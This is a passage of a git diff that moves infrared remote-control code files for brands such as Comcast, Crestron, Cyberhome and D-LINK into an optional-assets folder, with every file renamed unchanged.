a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir diff --git 